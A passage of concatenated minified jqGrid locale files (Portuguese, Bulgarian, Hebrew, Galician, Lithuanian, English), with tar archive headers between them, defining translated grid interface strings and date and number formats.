records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Busca...",Find:"Procurar",Reset:"Limpar",odata:[{oper:"eq",text:"igual"},{oper:"ne",text:"desigual"},{oper:"lt",text:"menor"},{oper:"le",text:"menor ou igual"},{oper:"gt",text:"maior"},{oper:"ge",text:"maior ou igual"},{oper:"bw",text:"comecacom"},{oper:"bn",text:"nao comeca com"},{oper:"in",text:"estadentro"},{oper:"ni",text:"nao esta dentro"},{oper:"ew",text:"finalizacom"},{oper:"en",text:"nao finaliza com"},{oper:"cn",text:"contem"},{oper:"nc",text:"nao contem"}],groupOps:[{op:"AND",text:"tudo"},{op:"OR",text:"qualquer"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Adicionar Registo",editCaption:"Modificar Registo",bSubmit:"Submeter",bCancel:"Cancelar",bClose:"Fechar",saveData:"Dados foram alterados. Guardar?",bYes:"Sim",bNo:"Nao",bExit:"Cancelar",msg:{required:"Campo obrigatório",number:"Por favor, introduza um numero",minValue:"O valor deve ser maior ou igual que",maxValue:"O valor deve ser menor ou igual a",email:"Não é um email válid",integer:"Por favor, introduza um numero inteiro",date:"Introduza una fecha correcta ",url:"nao e um URL valido. Requerido prefixo ('http://' or 'https://')",nodefined:" nao esta definido!",novalue:" valor requerido!",customarray:"Funcao customizada deve entrar!",customfcheck:"Funcao customizada deve estar presente em caso deconfirmar customizacao!"}},view:{caption:"View Record",bClose:"Close"},del:{caption:"Eliminar",msg:"Deseja eliminar o(s) registo(s) seleccionado(s)?",bSubmit:"Eliminar",bCancel:"Cancelar"},nav:{edittext:" ",edittitle:"Modificar registo seleccionado",addtext:" ",addtitle:"Adicionar novo registo",deltext:" ",deltitle:"Eliminar registo seleccionado",searchtext:" ",searchtitle:"Procurar",refreshtext:"",refreshtitle:"Actualizar",alertcap:"Aviso",alerttext:"Por favor, seleccione um registo",viewtext:"",viewtitle:"Ver coluna selecionada",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Mostrar/Ocultar Colunas",bSubmit:"Enviar",bCancel:"Cancelar"},errors:{errcap:"Erro",nourl:"Não especificou um url",norecords:"Não existem dados para processar",model:"Tamanho do colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Dom","Seg","Ter","Qua","Qui","Sex","Sab","Domingo","Segunda-Feira","Terça-Feira","Quarta-Feira","Quinta-Feira","Sexta-Feira","Sábado"],monthNames:["Jan","Fev","Mar","Abr","Mai","Jun","Jul","Ago","Set","Out","Nov","Dez","Janeiro","Fevereiro","Mar�o","Abril","Maio","Junho","Julho","Agosto","Setembro","Outubro","Novembro","Dezembro"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["�","�","�","�"][Math.min((e-1)%10,3)]:"�"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-bg.js000064400000014420151677266200012233 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.bg={defaults:{recordtext:"{0} - {1} от {2}",emptyrecords:"Няма запис(и)",loadtext:"Зареждам...",savetext:"Записвам...",pgtext:"Стр. {0} от {1}",pgfirst:"Първа Стр.",pglast:"Последна Стр.",pgnext:"Следваща Стр.",pgprev:"Предишна Стр.",pgrecs:"Брой записи на Стр.",showhide:"Свиване/Разтягане на таблицата",pagerCaption:"Таблица::Настр. Страница",pageText:"Страница:",recordPage:"Записи на стр.",nomorerecs:"Няма повече записи...",scrollPullup:"Издърпайте нагоре за повече...",scrollPulldown:"Дръпнете надолу за опресняване...",scrollRefresh:"Освободете за да опресните...",valT:"с отметка",valF:"без отметка",selectLine:"Избери ред",selectAllLines:"Избери всички"},search:{caption:"Търсене...",Find:"Намери",Reset:"Изчисти",odata:[{oper:"eq",text:"равно"},{oper:"ne",text:"различно"},{oper:"lt",text:"по-малко"},{oper:"le",text:"по-малко или="},{oper:"gt",text:"по-голямо"},{oper:"ge",text:"по-голямо или ="},{oper:"bw",text:"започва с"},{oper:"bn",text:"не започва с"},{oper:"in",text:"се намира в"},{oper:"ni",text:"не се намира в"},{oper:"ew",text:"завършва с"},{oper:"en",text:"не завършава с"},{oper:"cn",text:"съдържа"},{oper:"nc",text:"не съдържа"},{oper:"nu",text:"е NULL"},{oper:"nn",text:"не е NULL"},{oper:"bt",text:"между"}],groupOps:[{op:"AND",text:" И "},{op:"OR",text:"ИЛИ"}],operandTitle:"Натисни за избор на операнд.",resetTitle:"Изчисти стойността",addsubgrup:"Добави група",addrule:"Добави правило",delgroup:"Изтрий група",delrule:"Изтрий правило",Close:"Затвори",Operand:"Операнд : ",Operation:"Опер. : ",filterFor:"филтър за"},edit:{addCaption:"Нов Запис",editCaption:"Редакция Запис",bSubmit:"Запиши",bCancel:"Изход",bClose:"Затвори",saveData:"Данните са променени! Да съхраня ли промените?",bYes:"Да",bNo:"Не",bExit:"Отказ",msg:{required:"Полето е задължително",number:"Въведете валидно число!",minValue:"стойността трябва да е по-голяма или равна от",maxValue:"стойността трябва да е по-малка или равна от",email:"не е валиден ел. адрес",integer:"Въведете валидно цяло число",date:"Въведете валидна дата",url:"e невалиден URL. Изискава се префикс('http://' или 'https://')",nodefined:" е недефинирана!",novalue:" изисква връщане на стойност!",customarray:"Потреб. Функция трябва да върне масив!",customfcheck:"Потребителска функция е задължителна при този тип елемент!"}},view:{caption:"Преглед запис",bClose:"Затвори"},del:{caption:"Изтриване",msg:"Да изтрия ли избраният запис?",bSubmit:"Изтрий",bCancel:"Отказ"},nav:{edittext:" ",edittitle:"Редакция избран запис",addtext:" ",addtitle:"Добавяне нов запис",deltext:" ",deltitle:"Изтриване избран запис",searchtext:" ",searchtitle:"Търсене запис(и)",refreshtext:"",refreshtitle:"Обнови таблица",alertcap:"Предупреждение",alerttext:"Моля, изберете запис",viewtext:"",viewtitle:"Преглед избран запис",savetext:"",savetitle:"Съхрани запис",canceltext:"",canceltitle:"Отказ редакция",selectcaption:"Действия..."},col:{caption:"Избери колони",bSubmit:"Ок",bCancel:"Изход"},errors:{errcap:"Грешка",nourl:"Няма посочен url адрес",norecords:"Няма запис за обработка",model:"Модела не съответства на имената!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:" лв.",defaultValue:"0.00"},date:{dayNames:["Нед","Пон","Вт","Ср","Чет","Пет","Съб","Неделя","Понеделник","Вторник","Сряда","Четвъртък","Петък","Събота"],monthNames:["Яну","Фев","Мар","Апр","Май","Юни","Юли","Авг","Сеп","Окт","Нов","Дек","Януари","Февруари","Март","Април","Май","Юни","Юли","Август","Септември","Октомври","Ноември","Декември"],AmPm:["","","",""],S:function(e){return 7==e||8==e||27==e||28==e?"ми":["ви","ри","ти"][Math.min((e-1)%10,2)]},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Сортирай възходящо",sortdesc:"Сортирай низходящо",columns:"Колони",filter:"Филтрирай",grouping:"Групирай по",ungrouping:"Разгрупиране",searchTitle:"Търси данни със стойност, която",freeze:"Неподвижна",unfreeze:"Отмяна неподвижност",reorder:"Премести за пренареждане",hovermenu:"Щракнете за бързи действия в колоната"}}});minified/i18n/grid.locale-he.js000064400000012742151677266200012244 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.he={defaults:{recordtext:"מציג {0} - {1} מתוך {2}",emptyrecords:"אין רשומות להציג",loadtext:"טוען...",pgtext:"דף {0} מתוך {1}",savetext:"שומר...",pgfirst:"דף ראשון",pglast:"דף אחרון",pgnext:"דף הבאה",pgprev:"דף הקודם",pgrecs:"רשומות לעמוד",showhide:"החלפת מצב: הרחב כווץ טבלה",pagerCaption:"טבלה::הגדרות עמוד",pageText:"דף:",recordPage:"רשומות לעמוד",nomorerecs:"אין יותר רשומות...",scrollPullup:"גלול למעלה כדי לטעון עוד...",scrollPulldown:"גלול למטה כדי לרענן...",scrollRefresh:"שחרר כדי לרענן...",valT:"מסומן",valF:"אינה מסומנת",selectLine:"בחר שורה",selectAllLines:"בחר כל השורות"},search:{caption:"מחפש...",Find:"חפש",Reset:"איפוס",odata:[{oper:"eq",text:"שווה"},{oper:"ne",text:"לא שווה"},{oper:"lt",text:"קטן"},{oper:"le",text:"קטן או שווה"},{oper:"gt",text:"גדול"},{oper:"ge",text:"גדול או שווה"},{oper:"bw",text:"מתחיל ב"},{oper:"bn",text:"לא מתחיל ב"},{oper:"in",text:"נמצא ב"},{oper:"ni",text:"לא נמצא ב"},{oper:"ew",text:"מסתיים ב"},{oper:"en",text:"לא מסתיים ב"},{oper:"cn",text:"מכיל"},{oper:"nc",text:"לא מכיל"},{oper:"nu",text:"שווה ל null"},{oper:"nn",text:"אינו null"},{oper:"bt",text:"בֵּין"}],groupOps:[{op:"AND",text:"הכל"},{op:"OR",text:"אחד מ"}],operandTitle:"לחץ כדי לבחור פעולת חיפוש.",resetTitle:"איפוס ערך חיפוש",addsubgrup:"הוסף תת-קבוצה",addrule:"הוסף כלל",delgroup:"מחק את הקבוצה",delrule:"מחק כלל",Close:"סגור",Operand:"Operand : ",Operation:"Oper : ",filterFor:"לסנן עבור"},edit:{addCaption:"הוסף רשומה",editCaption:"ערוך רשומה",bSubmit:"עדכן",bCancel:"בטל",bClose:"סגור",saveData:"נתונים השתנו! לשמור?",bYes:"כן",bNo:"לא",bExit:"בטל",msg:{required:"שדה חובה",number:"אנא, הכנס מספר תקין",minValue:"ערך צריך להיות גדול או שווה ל ",maxValue:"ערך צריך להיות קטן או שווה ל ",email:"היא לא כתובת איימל תקינה",integer:"אנא, הכנס מספר שלם",date:"אנא, הכנס תאריך תקין",url:"הכתובת אינה תקינה. דרושה תחילית ('http://' או 'https://')",nodefined:" אינו מוגדר!",novalue:" נדרש ערך החזרה!",customarray:"פונקציה מותאמת אישית אמורה להחזיר מערך!",customfcheck:"פונקציה מותאמת אישית צריכה להיות נוכחת במקרה של בדיקה מותאמת אישית!"}},view:{caption:"הצג רשומה",bClose:"סגור"},del:{caption:"מחק",msg:"האם למחוק את הרשומה/ות המסומנות?",bSubmit:"מחק",bCancel:"בטל"},nav:{edittext:"",edittitle:"ערוך שורה מסומנת",addtext:"",addtitle:"הוסף שורה חדשה",deltext:"",deltitle:"מחק שורה מסומנת",searchtext:"",searchtitle:"חפש רשומות",refreshtext:"",refreshtitle:"טען גריד מחדש",alertcap:"אזהרה",alerttext:"אנא, בחר שורה",viewtext:"",viewtitle:"הצג שורה מסומנת",savetext:"",savetitle:"שמור שורה",canceltext:"",canceltitle:"בטל את עריכת השורה",selectcaption:"פעולות..."},col:{caption:"הצג/הסתר עמודות",bSubmit:"שלח",bCancel:"בטל"},errors:{errcap:"שגיאה",nourl:"לא הוגדרה כתובת url",norecords:"אין רשומות לעבד",model:"אורך של colNames <> colModel!"},formatter:{integer:{thousandsSeparator:" ",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:" ",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["א","ב","ג","ד","ה","ו","ש","ראשון","שני","שלישי","רביעי","חמישי","שישי","שבת"],monthNames:["ינו","פבר","מרץ","אפר","מאי","יונ","יול","אוג","ספט","אוק","נוב","דצמ","ינואר","פברואר","מרץ","אפריל","מאי","יוני","יולי","אוגוסט","ספטמבר","אוקטובר","נובמבר","דצמבר"],AmPm:["לפני הצהרים","אחר הצהרים","לפני הצהרים","אחר הצהרים"],S:function(e){return e<11||13<e?["","","",""][Math.min((e-1)%10,3)]:""},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"מיון בסדר עולה",sortdesc:"מיון בסדר יורד",columns:"עמודות",filter:"מסנן",grouping:"קבץ לפי",ungrouping:"פירוק קבוצה",searchTitle:"קבל פריטים בעלי ערך אשר:",freeze:"קפא",unfreeze:"שחררו את ההקפאה",reorder:"העבר לסדר מחדש",hovermenu:"לחץ לפעולות מהירות בעמודה"}}});minified/i18n/grid.locale-gl.js000064400000011356151677266200012252 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.gl={defaults:{recordtext:"Amosando {0} - {1} de {2}",emptyrecords:"Sen rexistros que amosar",loadtext:"Cargando...",pgtext:"Páxina {0} de {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Búsqueda...",Find:"Buscar",Reset:"Limpar",odata:[{oper:"eq",text:"igual "},{oper:"ne",text:"diferente a"},{oper:"lt",text:"menor que"},{oper:"le",text:"menor ou igual que"},{oper:"gt",text:"maior que"},{oper:"ge",text:"maior ou igual a"},{oper:"bw",text:"empece por"},{oper:"bn",text:"non empece por"},{oper:"in",text:"está en"},{oper:"ni",text:"non está en"},{oper:"ew",text:"termina por"},{oper:"en",text:"non termina por"},{oper:"cn",text:"contén"},{oper:"nc",text:"non contén"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"todo"},{op:"OR",text:"calquera"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Engadir rexistro",editCaption:"Modificar rexistro",bSubmit:"Gardar",bCancel:"Cancelar",bClose:"Pechar",saveData:"Modificáronse os datos, quere gardar os cambios?",bYes:"Si",bNo:"Non",bExit:"Cancelar",msg:{required:"Campo obrigatorio",number:"Introduza un número",minValue:"O valor debe ser maior ou igual a ",maxValue:"O valor debe ser menor ou igual a ",email:"non é un enderezo de correo válido",integer:"Introduza un valor enteiro",date:"Introduza unha data correcta ",url:"non é unha URL válida. Prefixo requerido ('http://' ou 'https://')",nodefined:" non está definido.",novalue:" o valor de retorno é obrigatorio.",customarray:"A función persoalizada debe devolver un array.",customfcheck:"A función persoalizada debe estar presente no caso de ter validación persoalizada."}},view:{caption:"Consultar rexistro",bClose:"Pechar"},del:{caption:"Eliminar",msg:"Desexa eliminar os rexistros seleccionados?",bSubmit:"Eliminar",bCancel:"Cancelar"},nav:{edittext:" ",edittitle:"Modificar a fila seleccionada",addtext:" ",addtitle:"Engadir unha nova fila",deltext:" ",deltitle:"Eliminar a fila seleccionada",searchtext:" ",searchtitle:"Buscar información",refreshtext:"",refreshtitle:"Recargar datos",alertcap:"Aviso",alerttext:"Seleccione unha fila",viewtext:"",viewtitle:"Ver fila seleccionada",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Mostrar/ocultar columnas",bSubmit:"Enviar",bCancel:"Cancelar"},errors:{errcap:"Erro",nourl:"Non especificou unha URL",norecords:"Non hai datos para procesar",model:"As columnas de nomes son diferentes das columnas de modelo"},formatter:{integer:{thousandsSeparator:".",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,defaultValue:"0,00"},currency:{decimalSeparator:",",thousandsSeparator:".",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0,00"},date:{dayNames:["Do","Lu","Ma","Me","Xo","Ve","Sa","Domingo","Luns","Martes","Mércoles","Xoves","Vernes","Sábado"],monthNames:["Xan","Feb","Mar","Abr","Mai","Xuñ","Xul","Ago","Set","Out","Nov","Dec","Xaneiro","Febreiro","Marzo","Abril","Maio","Xuño","Xullo","Agosto","Setembro","Outubro","Novembro","Decembro"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d-m-Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-lt.js000064400000011510151677266200012257 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.lt={defaults:{recordtext:"Peržiūrima {0} - {1} iš {2}",emptyrecords:"Įrašų nėra",loadtext:"Kraunama...",pgtext:"Puslapis {0} iš {1}",savetext:"Saving...",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Paieška...",Find:"Ieškoti",Reset:"Atstatyti",odata:[{oper:"eq",text:"lygu"},{oper:"ne",text:"nelygu"},{oper:"lt",text:"mažiau"},{oper:"le",text:"mažiau arba lygu"},{oper:"gt",text:"daugiau"},{oper:"ge",text:"daugiau arba lygu"},{oper:"bw",text:"prasideda"},{oper:"bn",text:"neprasideda"},{oper:"in",text:"reikšmė yra"},{oper:"ni",text:"reikšmės nėra"},{oper:"ew",text:"baigiasi"},{oper:"en",text:"nesibaigia"},{oper:"cn",text:"yra sudarytas"},{oper:"nc",text:"nėra sudarytas"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"visi"},{op:"OR",text:"bet kuris"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Sukurti įrašą",editCaption:"Redaguoti įrašą",bSubmit:"Išsaugoti",bCancel:"Atšaukti",bClose:"Uždaryti",saveData:"Duomenys buvo pakeisti! Išsaugoti pakeitimus?",bYes:"Taip",bNo:"Ne",bExit:"Atšaukti",msg:{required:"Privalomas laukas",number:"Įveskite tinkamą numerį",minValue:"reikšmė turi būti didesnė arba lygi ",maxValue:"reikšmė turi būti mažesnė arba lygi",email:"neteisingas el. pašto adresas",integer:"Įveskite teisingą sveikąjį skaičių",date:"Įveskite teisingą datą",url:"blogas adresas. Nepamirškite pridėti ('http://' arba 'https://')",nodefined:" nėra apibrėžta!",novalue:" turi būti gražinama kokia nors reikšmė!",customarray:"Custom f-ja turi grąžinti masyvą!",customfcheck:"Custom f-ja tūrėtų būti sukurta, prieš bandant ją naudoti!"}},view:{caption:"Peržiūrėti įrašus",bClose:"Uždaryti"},del:{caption:"Ištrinti",msg:"Ištrinti pažymėtus įrašus(-ą)?",bSubmit:"Ištrinti",bCancel:"Atšaukti"},nav:{edittext:"",edittitle:"Redaguoti pažymėtą eilutę",addtext:"",addtitle:"Pridėti naują eilutę",deltext:"",deltitle:"Ištrinti pažymėtą eilutę",searchtext:"",searchtitle:"Rasti įrašus",refreshtext:"",refreshtitle:"Perkrauti lentelę",alertcap:"Įspėjimas",alerttext:"Pasirinkite eilutę",viewtext:"",viewtitle:"Peržiūrėti pasirinktą eilutę",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Pasirinkti stulpelius",bSubmit:"Gerai",bCancel:"Atšaukti"},errors:{errcap:"Klaida",nourl:"Url reikšmė turi būti perduota",norecords:"Nėra įrašų, kuriuos būtų galima apdoroti",model:"colNames skaičius <> colModel skaičiui!"},formatter:{integer:{thousandsSeparator:"",defaultValue:"0"},number:{decimalSeparator:",",thousandsSeparator:"",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:",",thousandsSeparator:"",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Sek","Pir","Ant","Tre","Ket","Pen","Šeš","Sekmadienis","Pirmadienis","Antradienis","Trečiadienis","Ketvirtadienis","Penktadienis","Šeštadienis"],monthNames:["Sau","Vas","Kov","Bal","Geg","Bir","Lie","Rugj","Rugs","Spa","Lap","Gru","Sausis","Vasaris","Kovas","Balandis","Gegužė","Birželis","Liepa","Rugpjūtis","Rugsėjis","Spalis","Lapkritis","Gruodis"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"d/m/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d H:i:sO",YearMonth:"F, Y"},reformatAfterEdit:!1,userLocalTime:!1},baseLinkUrl:"",showAction:"",target:"",checkbox:{disabled:!0},idName:"id"},colmenu:{sortasc:"Sort Ascending",sortdesc:"Sort Descending",columns:"Columns",filter:"Filter",grouping:"Group By",ungrouping:"Ungroup",searchTitle:"Get items with value that:",freeze:"Freeze",unfreeze:"Unfreeze",reorder:"Move to reorder",hovermenu:"Click for column quick actions"}}});minified/i18n/grid.locale-en.js000064400000011022151677266200012240 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","../grid.base"],e):e(jQuery)}(function(e){e.jgrid=e.jgrid||{},e.jgrid.hasOwnProperty("regional")||(e.jgrid.regional=[]),e.jgrid.regional.en={defaults:{recordtext:"View {0} - {1} of {2}",emptyrecords:"No records to view",loadtext:"Loading...",savetext:"Saving...",pgtext:"Page {0} of {1}",pgfirst:"First Page",pglast:"Last Page",pgnext:"Next Page",pgprev:"Previous Page",pgrecs:"Records per Page",showhide:"Toggle Expand Collapse Grid",pagerCaption:"Grid::Page Settings",pageText:"Page:",recordPage:"Records per Page",nomorerecs:"No more records...",scrollPullup:"Pull up to load more...",scrollPulldown:"Pull down to refresh...",scrollRefresh:"Release to refresh...",valueCheckbox:"Checkbox",valT:"checked",valF:"unchecked",selectLine:"Select row",selectAllLines:"Select all rows"},search:{caption:"Search...",Find:"Find",Reset:"Reset",odata:[{oper:"eq",text:"equal"},{oper:"ne",text:"not equal"},{oper:"lt",text:"less"},{oper:"le",text:"less or equal"},{oper:"gt",text:"greater"},{oper:"ge",text:"greater or equal"},{oper:"bw",text:"begins with"},{oper:"bn",text:"does not begin with"},{oper:"in",text:"is in"},{oper:"ni",text:"is not in"},{oper:"ew",text:"ends with"},{oper:"en",text:"does not end with"},{oper:"cn",text:"contains"},{oper:"nc",text:"does not contain"},{oper:"nu",text:"is null"},{oper:"nn",text:"is not null"},{oper:"bt",text:"between"}],groupOps:[{op:"AND",text:"all"},{op:"OR",text:"any"}],operandTitle:"Click to select search operation.",resetTitle:"Reset Search Value",addsubgrup:"Add subgroup",addrule:"Add rule",delgroup:"Delete group",delrule:"Delete rule",Close:"Close",Operand:"Operand : ",Operation:"Oper : ",filterFor:"filter for"},edit:{addCaption:"Add Record",editCaption:"Edit Record",bSubmit:"Submit",bCancel:"Cancel",bClose:"Close",saveData:"Data has been changed! Save changes?",bYes:"Yes",bNo:"No",bExit:"Cancel",msg:{required:"Field is required",number:"Please, enter valid number",minValue:"value must be greater than or equal to ",maxValue:"value must be less than or equal to",email:"is not a valid e-mail",integer:"Please, enter valid integer value",date:"Please, enter valid date value",url:"is not a valid URL. Prefix required ('http://' or 'https://')",nodefined:" is not defined!",novalue:" return value is required!",customarray:"Custom function should return array!",customfcheck:"Custom function should be present in case of custom checking!"}},view:{caption:"View Record",bClose:"Close"},del:{caption:"Delete",msg:"Delete selected record(s)?",bSubmit:"Delete",bCancel:"Cancel"},nav:{edittext:"",edittitle:"Edit selected row",addtext:"",addtitle:"Add new row",deltext:"",deltitle:"Delete selected row",searchtext:"",searchtitle:"Find records",refreshtext:"",refreshtitle:"Reload Grid",alertcap:"Warning",alerttext:"Please, select row",viewtext:"",viewtitle:"View selected row",savetext:"",savetitle:"Save row",canceltext:"",canceltitle:"Cancel row editing",selectcaption:"Actions..."},col:{caption:"Select columns",bSubmit:"Ok",bCancel:"Cancel"},errors:{errcap:"Error",nourl:"No url is set",norecords:"No records to process",model:"Length of colNames <> colModel!"},formatter:{integer:{thousandsSeparator:",",defaultValue:"0"},number:{decimalSeparator:".",thousandsSeparator:",",decimalPlaces:2,defaultValue:"0.00"},currency:{decimalSeparator:".",thousandsSeparator:",",decimalPlaces:2,prefix:"",suffix:"",defaultValue:"0.00"},date:{dayNames:["Sun","Mon","Tue","Wed","Thr","Fri","Sat","Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],monthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec","January","February","March","April","May","June","July","August","September","October","November","December"],AmPm:["am","pm","AM","PM"],S:function(e){return e<11||13<e?["st","nd","rd","th"][Math.min((e-1)%10,3)]:"th"},srcformat:"Y-m-d",newformat:"n/j/Y",parseRe:/[#%\\\/:_;.,\t\s-]/,masks:{ISO8601Long:"Y-m-d H:i:s",ISO8601Short:"Y-m-d",ShortDate:"n/j/Y",LongDate:"l, F d, Y",FullDateTime:"l, F d, Y g:i:s A",MonthDay:"F d",ShortTime:"g:i A",LongTime:"g:i:s A",SortableDateTime:"Y-m-d\\TH:i:s",UniversalSortableDateTime:"Y-m-d 